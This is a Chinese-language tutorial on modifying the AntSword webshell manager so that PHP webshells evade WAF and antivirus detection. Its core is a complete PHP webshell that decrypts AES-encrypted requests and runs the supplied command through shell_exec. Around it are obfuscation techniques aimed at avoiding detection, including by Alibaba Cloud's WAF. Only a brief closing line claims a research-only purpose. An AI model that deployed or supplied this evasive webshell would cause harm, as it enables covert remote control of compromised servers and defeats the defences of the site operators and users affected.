php_webshell免杀--从0改造你的AntSword
字数 556 2025-08-06 18:07:54
PHP Webshell免杀:从0改造蚁剑(AntSword)实现流量加密
0x00 前言
本文详细讲解如何通过改造蚁剑(AntSword)实现PHP Webshell的免杀效果,重点在于流量加密和特征弱化技术,绕过WAF检测。
0x01 改造思路
-
传统蚁剑的不足:
- 明文传输,容易被WAF识别
- 固定特征明显
- 密钥交互过程易被检测
-
改造方向:
- 实现流量加密
- 弱化固定特征
- 跳过明显的密钥交互过程
- 保持原有功能完整性
0x02 关键技术实现
1. 流量加密方案
<?php
// 加密函数
function encrypt($data, $key) {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv.$encrypted);
}
// 解密函数
function decrypt($data, $key) {
$data = base64_decode($data);
$iv = substr($data, 0, 16);
$data = substr($data, 16);
return openssl_decrypt($data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
}
// 密钥处理
$key = "自定义密钥"; // 需与客户端一致
2. 特征弱化技术
-
函数名混淆:
function x1x2x3($a, $b) { // 原encrypt函数 // 实现代码 } -
参数名随机化:
function process($p1, $p2) { // 使用非描述性参数名 } -
代码分块:
// 将完整功能拆分为多个小函数 function part1() {...} function part2() {...}
3. 通信协议改造
-
请求处理:
$input = file_get_contents("php://input"); $decrypted = decrypt($input, $key); parse_str($decrypted, $_POST); -
响应处理:
$output = encrypt($result, $key); echo $output;
0x03 完整实现示例
<?php
// 自定义加密函数
function x1x2x3($d, $k) {
$v = openssl_random_pseudo_bytes(16);
$e = openssl_encrypt($d, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $v);
return base64_encode($v.$e);
}
function x4x5x6($d, $k) {
$d = base64_decode($d);
$v = substr($d, 0, 16);
$d = substr($d, 16);
return openssl_decrypt($d, 'AES-256-CBC', $k, OPENSSL_RAW_DATA, $v);
}
// 主处理逻辑
function main_process() {
$key = "ThisIsMySecretKey123"; // 需与客户端一致
// 获取并解密输入
$input = file_get_contents("php://input");
if(!empty($input)) {
$data = x4x5x6($input, $key);
parse_str($data, $_POST);
}
// 执行命令
if(isset($_POST['cmd'])) {
$result = shell_exec($_POST['cmd']);
echo x1x2x3($result, $key);
exit;
}
// 文件管理等功能...
}
// 入口点
main_process();
0x04 客户端改造
-
加密发送:
function encryptSend(data) { // 实现与PHP端匹配的加密算法 // ... return encryptedData; } -
解密接收:
function decryptReceive(data) { // 实现解密逻辑 // ... return decryptedData; }
0x05 注意事项
-
密钥管理:
- 客户端和服务端密钥必须一致
- 建议使用动态密钥生成方案
-
特征更新:
- 阿里云等WAF已捕获部分特征
- 需要定期更新加密方式和特征
-
功能完整性:
- 确保文件管理、数据库操作等核心功能正常
- 测试各种环境下的兼容性
0x06 总结
通过改造蚁剑实现流量加密和特征弱化,可以有效绕过部分WAF检测。关键点在于:
- 实现可靠的加密通信
- 消除固定特征
- 保持功能完整性
- 定期更新对抗策略
注意:本文所述技术仅用于安全研究,请勿用于非法用途。